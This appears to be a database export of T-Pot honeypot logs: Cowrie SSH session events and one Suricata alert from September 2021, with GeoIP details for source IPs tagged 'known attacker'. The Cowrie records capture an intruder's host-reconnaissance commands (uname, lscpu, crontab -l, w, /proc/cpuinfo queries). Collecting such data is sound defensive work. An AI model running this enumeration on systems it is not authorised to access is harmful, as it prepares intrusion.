"voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20493	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:26.986401+03	2021-09-20 14:15:02.445613+03	{"_id": "bAXgAnwBvYTbRNuE6vn_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:26.986401Z", "@timestamp": "2021-09-20T11:04:26.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20494	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:04:27.781999+03	2021-09-20 14:15:02.446613+03	{"_id": "dAXgAnwBvYTbRNuE7vkX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:27.220019+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1069457237302131, "payload": "AAADzAYUeAUBdKkNJlUe1WM/+j2npgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50734, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:27.781999Z", "@timestamp": "2021-09-20T11:04:27.781Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......x..t.\\r&U..c?.=.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20495	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.696524+03	2021-09-20 14:15:02.447613+03	{"_id": "dQXgAnwBvYTbRNuE7vno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:27.696524Z", "@timestamp": "2021-09-20T11:04:27.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20496	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.697062+03	2021-09-20 14:15:02.448613+03	{"_id": "dgXgAnwBvYTbRNuE7vno", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:27.697062Z", "@timestamp": "2021-09-20T11:04:27.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20497	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:04:27.499096+03	2021-09-20 14:15:02.449612+03	{"_id": "fQXgAnwBvYTbRNuE7_k1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:50734 (192.168.176.2:22) [session: 91c258bcd7a6]", "session": "91c258bcd7a6", "@version": "1", "protocol": "ssh", "src_port": 50734, "dest_port": 22, "timestamp": "2021-09-20T11:04:27.499096Z", "@timestamp": "2021-09-20T11:04:27.499Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20498	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:27.846054+03	2021-09-20 14:15:02.450613+03	{"_id": "fAXgAnwBvYTbRNuE7_k0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "176.60.208.43", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1496131420135498, "duplicate": true, "timestamp": "2021-09-20T11:04:27.846054Z", "@timestamp": "2021-09-20T11:04:27.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20499	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.750547+03	2021-09-20 14:15:02.452613+03	{"_id": "igXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.750547Z", "@timestamp": "2021-09-20T11:04:28.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20500	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.382294+03	2021-09-20 14:15:02.453612+03	{"_id": "hwXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.382294Z", "@timestamp": "2021-09-20T11:04:28.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20501	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.382841+03	2021-09-20 14:15:02.454612+03	{"_id": "iAXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:28.382841Z", "@timestamp": "2021-09-20T11:04:28.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20502	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:28.901928+03	2021-09-20 14:15:02.456613+03	{"_id": "jAXgAnwBvYTbRNuE8vnP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "176.60.208.43", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15146636962890625, "duplicate": true, "timestamp": "2021-09-20T11:04:28.901928Z", "@timestamp": "2021-09-20T11:04:28.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20504	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.769729+03	2021-09-20 14:15:02.458613+03	{"_id": "lAXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.769729Z", "@timestamp": "2021-09-20T11:04:29.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20505	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.919127+03	2021-09-20 14:15:02.460613+03	{"_id": "lwXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "176.60.208.43", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.150040864944458, "duplicate": true, "timestamp": "2021-09-20T11:04:29.919127Z", "@timestamp": "2021-09-20T11:04:29.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20506	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.240839+03	2021-09-20 14:15:02.461612+03	{"_id": "kAXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "176.60.208.43", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15124988555908203, "duplicate": true, "timestamp": "2021-09-20T11:04:29.240839Z", "@timestamp": "2021-09-20T11:04:29.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20507	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:29.43169+03	2021-09-20 14:15:02.462612+03	{"_id": "lQXgAnwBvYTbRNuE9vm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:29.431690Z", "@timestamp": "2021-09-20T11:04:29.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20508	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.079026+03	2021-09-20 14:15:02.463612+03	{"_id": "ngXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.079026Z", "@timestamp": "2021-09-20T11:04:30.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20509	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.9352+03	2021-09-20 14:15:02.464612+03	{"_id": "nwXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "176.60.208.43", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.1513516902923584, "duplicate": true, "timestamp": "2021-09-20T11:04:30.935200Z", "@timestamp": "2021-09-20T11:04:30.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20510	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.784487+03	2021-09-20 14:15:02.465613+03	{"_id": "pAXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.784487Z", "@timestamp": "2021-09-20T11:04:30.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20511	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.078479+03	2021-09-20 14:15:02.467613+03	{"_id": "mwXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.078479Z", "@timestamp": "2021-09-20T11:04:30.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20512	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.413573+03	2021-09-20 14:15:02.468613+03	{"_id": "oQXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:30.413573Z", "@timestamp": "2021-09-20T11:04:30.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20513	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:30.564291+03	2021-09-20 14:15:02.469613+03	{"_id": "owXgAnwBvYTbRNuE-vmg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "176.60.208.43", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15134215354919434, "duplicate": true, "timestamp": "2021-09-20T11:04:30.564291Z", "@timestamp": "2021-09-20T11:04:30.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
